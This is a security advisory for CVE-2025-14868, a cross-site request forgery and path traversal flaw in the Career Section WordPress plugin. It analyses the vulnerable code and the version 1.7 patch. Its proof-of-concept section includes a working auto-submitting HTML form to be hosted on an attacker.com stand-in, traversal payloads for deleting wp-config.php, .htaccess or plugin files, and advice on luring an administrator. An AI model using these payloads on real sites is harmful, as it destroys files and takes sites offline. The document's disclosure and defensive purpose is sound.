CVE-2025-14868: CSRF File Deletion in Career Section Plugin
Table of Contents
CVE-2025-14868 is a CVSS 8.8 (High) Cross-Site Request Forgery vulnerability in the Career Section WordPress plugin. All versions up to and including 1.6 are affected. An unauthenticated attacker can trick a logged-in administrator into submitting a forged request. The request deletes arbitrary files on the server — including wp-config.php — taking the entire site offline with a single click.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Career Section |
| Plugin Slug | career-section |
| CVE ID | CVE-2025-14868 |
| CVSS Score | 8.8 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| Vulnerability Type | Cross-Site Request Forgery (CSRF) to Arbitrary File Deletion via Path Traversal |
| Affected Versions | <= 1.6 |
| Patched Version | 1.7 |
| Published | April 15, 2026 |
| Researcher | Ivan Cese |
| Wordfence Advisory | Link |
Description
The Career Section plugin (versions up to and including 1.6) is vulnerable to Cross-Site Request Forgery (CSRF). The flaw leads to path traversal and arbitrary file deletion. It is caused by missing nonce validation and insufficient file path validation on the delete action in the appform_options_page_html function. This allows unauthenticated attackers to delete arbitrary files on the server. The only requirement is that they trick a site administrator into clicking a link.
Technical Analysis
Vulnerable Code Path
The vulnerability lives entirely in include/top_level_menu.php inside the appform_options_page_html() function, which WordPress registers as the callback for the admin submenu page at wp-admin/admin.php?page=appform.
Hook registration (include/top_level_menu.php:5–18):
function csaf_options_page() {
add_submenu_page(
'edit.php?post_type=csection',
'View Entries',
'View Entries',
'manage_options',
'appform',
'appform_options_page_html' // ← callback
);
}
add_action( 'admin_menu', 'csaf_options_page' );
Delete action handler (include/top_level_menu.php:22–43):
function appform_options_page_html() {
// check user capabilities
if ( ! current_user_can( 'manage_options' ) ) {
return;
}
// check if the user have submitted the settings
if ( isset( $_POST['delete_id'] ) ) { // ← NO nonce check here
//delete db raw
global $wpdb;
$table_name = $wpdb->prefix . "cs_applicant_submissions";
$wpdb->delete( $table_name, array( 'id' => sanitize_text_field($_POST['delete_id'] )) );
//delete files
global $wp_filesystem;
WP_Filesystem();
$content_directory = $wp_filesystem->wp_content_dir() . 'uploads/';
$target_dir_location = $content_directory . 'cs_applicant_submission_files/';
$file_path = $target_dir_location . sanitize_text_field($_POST['delete_file']); // ← PATH TRAVERSAL
wp_delete_file( $file_path ); // ← deletes arbitrary file
add_settings_error( 'af_messages', 'af_messages',
__( 'Application permanently deleted.', 'csaf' ), 'updated' );
}
// ...
The delete form rendered in the admin table (include/top_level_menu.php:135–139):
<form class='form' action='' method='POST'>
<input type="hidden" name="delete_file" value="<?php esc_html_e($row->cv,'csaf') ?>">
<input type="hidden" name="delete_id" value="<?php esc_html_e($row->id,'csaf') ?>">
<button class="button-ffu" type="submit" value="Delete">Delete</button>
</form>
No wp_nonce_field() call is present in this form. There is no CSRF token protecting the delete action.
Root Cause
Two weaknesses combine to create this vulnerability:
-
Missing CSRF nonce — The delete action only checks
isset($_POST['delete_id'])before proceeding. It never callswp_verify_nonce(). Because WordPress admin pages do not have same-site cookies by default, any cross-origin POST request that includes the admin’s session cookie will be processed. An attacker can forge such a request from any origin and trick an administrator into submitting it. -
Path traversal via unsanitized
delete_file— The$_POST['delete_file']value is passed throughsanitize_text_field()before being appended to the target directory:$file_path = $target_dir_location . sanitize_text_field($_POST['delete_file']);sanitize_text_field()strips HTML tags and extra whitespace, but it does not strip directory traversal sequences (../). An attacker-supplied value of../../../wp-config.phpresults in a fully resolved path outside the intendedcs_applicant_submission_files/directory, andwp_delete_file()then deletes that file.
Why Existing Controls Failed
The current_user_can('manage_options') check confirms the session is authenticated. It does not stop CSRF. When a logged-in admin’s browser submits a forged cross-site form, WordPress sees a valid session and allows the request through. The missing piece is a secret token — a nonce — that a third-party site cannot know.
Attack Impact
An unauthenticated attacker who can trick a site administrator into visiting a malicious page can:
- Delete arbitrary files on the server — any file readable by the web server process, including:
wp-config.php— destroys the database connection credentials, taking the site offline.htaccess— removes server-side rewrite rules and access controls- Plugin or theme files — selectively breaks site functionality
- Any uploaded media or document in the wp-content tree
- Delete application records from the
cs_applicant_submissionsdatabase table (viadelete_id) - Potentially achieve Remote Code Execution — if the attacker can delete a PHP file and then recreate it via a file upload vulnerability
Proof of Concept
Disclaimer: This PoC is provided for educational and defensive security research purposes only.
Prerequisites
- WordPress installation with the
career-sectionplugin installed and activated - Plugin version <= 1.6
- A logged-in administrator must be tricked into visiting a page controlled by the attacker (standard CSRF requirement)
Step-by-Step Reproduction
Step 1: Identify the target WordPress admin URL
The vulnerable endpoint is the plugin’s “View Entries” admin page:
https://TARGET_SITE/wp-admin/admin.php?page=appform
Step 2: Host a malicious auto-submitting HTML page
Create the following HTML file on an attacker-controlled server (e.g. https://attacker.com/exploit.html). This page auto-submits a forged POST request to the target as soon as the admin loads it.
To delete wp-config.php (the most impactful target — takes the site fully offline):
<!DOCTYPE html>
<html>
<body>
<script>
// Auto-submit on page load
window.onload = function() {
document.getElementById('csrf-form').submit();
};
</script>
<form id="csrf-form"
action="https://TARGET_SITE/wp-admin/admin.php?page=appform"
method="POST">
<!--
Path traversal: escape cs_applicant_submission_files/ and
traverse up to the WordPress root to delete wp-config.php.
Adjust the number of ../ segments to match the server layout
(typically 3: uploads/ → wp-content/ → WordPress root/).
-->
<input type="hidden" name="delete_id" value="1">
<input type="hidden" name="delete_file" value="../../../wp-config.php">
</form>
</body>
</html>
To delete .htaccess instead:
<input type="hidden" name="delete_file" value="../../../.htaccess">
To delete a specific plugin file:
<input type="hidden" name="delete_file" value="../../../plugins/some-plugin/index.php">
Step 3: Deliver the link to the administrator
Send the administrator a link to https://attacker.com/exploit.html via email, a comment notification, a social-engineering message, or any other channel. The administrator must be logged into WordPress in the same browser session when they click the link.
Step 4: Confirm execution
As soon as the admin’s browser loads the attacker’s page, the form auto-submits. The browser’s cookie jar attaches the admin’s wordpress_logged_in_* session cookie to the POST request. WordPress:
- Finds the admin is authenticated with
manage_optionscapability — ✓ - Sees
delete_idis set — ✓ - Calls
$wpdb->delete(...)to remove the database row — executes - Builds the file path:
<wp-content>/uploads/cs_applicant_submission_files/../../../wp-config.php— resolves to<wordpress-root>/wp-config.php - Calls
wp_delete_file('<wordpress-root>/wp-config.php')— file deleted
Expected Result
The target file (wp-config.php in the example) is permanently deleted from the server. The next page load on the WordPress site will produce a fatal error:
Warning: require(/var/www/html/wp-config.php): Failed to open stream: No such file or directory in /var/www/html/wp-settings.php on line 4
Fatal error: require(): Failed opening required '/var/www/html/wp-config.php' ...
The site is taken completely offline.
Verification
After executing the PoC, verify the exploit succeeded by:
- Visiting the target site — if
wp-config.phpwas the target, the site will display a PHP fatal error rather than loading normally. - Checking via server SSH/FTP — confirm the file no longer exists:
ls -la /var/www/html/wp-config.php # ls: cannot access '/var/www/html/wp-config.php': No such file or directory - Admin notice — if the admin looks at the
?page=appformscreen after the request, they will see “Application permanently deleted.” — confirming the action was processed silently.
Patch Analysis
What Changed
The security fix is in include/top_level_menu.php (the primary vulnerability file). Several other files received hardening improvements alongside.
Fix Explanation
The patch introduces two fixes that work together to close both attack vectors:
Fix 1 — Nonce verification (CSRF protection):
The patched code now generates a per-row nonce inside the delete form:
// Patched form (include/top_level_menu.php, v1.7)
<form class='form' action='' method='POST'>
<input type="hidden" name="delete_file" value="<?php echo esc_html($row->cv) ?>">
<input type="hidden" name="delete_id" value="<?php echo esc_html($row->id) ?>">
<?php wp_nonce_field( 'delete_applicant_' . $row->id, 'delete_applicant_nonce' ); ?>
<button class="button-ffu" type="submit" value="Delete">Delete</button>
</form>
And the handler now verifies it before acting:
// Patched handler (include/top_level_menu.php, v1.7)
if ( isset( $_POST['delete_id'], $_POST['delete_applicant_nonce'] ) ) {
$delete_id = intval( wp_unslash( $_POST['delete_id'] ) );
$nonce = sanitize_text_field( wp_unslash( $_POST['delete_applicant_nonce'] ) );
$delete_file = sanitize_text_field( wp_unslash( $_POST['delete_file'] ?? '' ) );
$delete_file = basename( $delete_file ); // removes any "../" path segments
if ( ! wp_verify_nonce( $nonce, 'delete_applicant_' . $delete_id ) ) {
wp_die( esc_html__( 'Nonce verification failed', 'career-section' ) );
}
// ... proceed with deletion
A forged cross-site request cannot supply a valid nonce because the nonce is a cryptographic token tied to the admin’s session, the action name, and a time window. An attacker cannot predict it without access to the session.
Fix 2 — Path traversal prevention:
The patch applies basename() to $_POST['delete_file'] before building the file path:
$delete_file = basename( $delete_file );
basename() returns only the final component of a path, stripping any directory separators and ../ sequences. This is defense-in-depth. Even if the nonce check were bypassed, ../../../wp-config.php would be reduced to wp-config.php, keeping deletion inside cs_applicant_submission_files/.
Both fixes are necessary and correct. Used together they provide defense-in-depth.
Code Diff (Key Changes)
--- a/include/top_level_menu.php (v1.6)
+++ b/include/top_level_menu.php (v1.7)
- if ( isset( $_POST['delete_id'] ) ) {
+ if ( isset( $_POST['delete_id'], $_POST['delete_applicant_nonce'] ) ) {
+ $delete_id = intval( wp_unslash( $_POST['delete_id'] ) );
+ $nonce = sanitize_text_field(wp_unslash( $_POST['delete_applicant_nonce'] ));
+ $delete_file = sanitize_text_field(wp_unslash( $_POST['delete_file'] ?? ''));
+ $delete_file = basename($delete_file); // removes any "../" path segments
+
+ if ( ! wp_verify_nonce( $nonce, 'delete_applicant_' . $delete_id ) ) {
+ wp_die( esc_html__( 'Nonce verification failed', 'career-section' ) );
+ }
$wpdb->delete( $table_name, array( 'id' => sanitize_text_field($_POST['delete_id'] )) );
...
- $file_path = $target_dir_location.sanitize_text_field($_POST['delete_file']);
+ $file_path = $target_dir_location.sanitize_text_field($delete_file);
wp_delete_file( $file_path );
// In the delete form:
- <input type="hidden" name="delete_file" value="...">
- <input type="hidden" name="delete_id" value="...">
+ <input type="hidden" name="delete_file" value="...">
+ <input type="hidden" name="delete_id" value="...">
+ <?php wp_nonce_field( 'delete_applicant_' . $row->id, 'delete_applicant_nonce' ); ?>
Timeline
| Date | Event |
|---|---|
| Unknown | Vulnerability discovered and reported by Ivan Cese |
| April 15, 2026 | Publicly disclosed by Wordfence |
| April 15, 2026 | Patched version 1.7 released |
Remediation
Update the career-section plugin to version 1.7 or later via the WordPress admin dashboard (Plugins → Updates) or by downloading directly from wordpress.org/plugins/career-section.
References
Frequently Asked Questions
What is CVE-2025-14868?
CVE-2025-14868 is a CVSS 8.8 High severity Cross-Site Request Forgery vulnerability in the Career Section WordPress plugin that allows an unauthenticated attacker to delete arbitrary files on the server by tricking a logged-in administrator into submitting a forged request.
Which versions of Career Section are affected by CVE-2025-14868?
All versions of the Career Section plugin up to and including version 1.6 are affected. Version 1.7 contains the fix and is safe to use.
What can an attacker do with CVE-2025-14868?
An attacker can delete any file on the server that the web server process can access. For example, deleting wp-config.php destroys the database connection and takes the entire WordPress site offline immediately.
Does an attacker need to be logged in to exploit CVE-2025-14868?
No. The attacker does not need any account on the site. They only need to trick a logged-in administrator into clicking a malicious link, which causes the administrator's browser to submit the forged request automatically.
How do I fix CVE-2025-14868 in Career Section?
Update the Career Section plugin to version 1.7 or later. You can do this from the WordPress admin dashboard under Plugins then Updates, or by downloading the latest version directly from wordpress.org.
Has Career Section been patched for CVE-2025-14868?
Yes. Version 1.7 was released on April 15, 2026 and includes both a nonce verification fix to prevent CSRF and a basename check to prevent path traversal.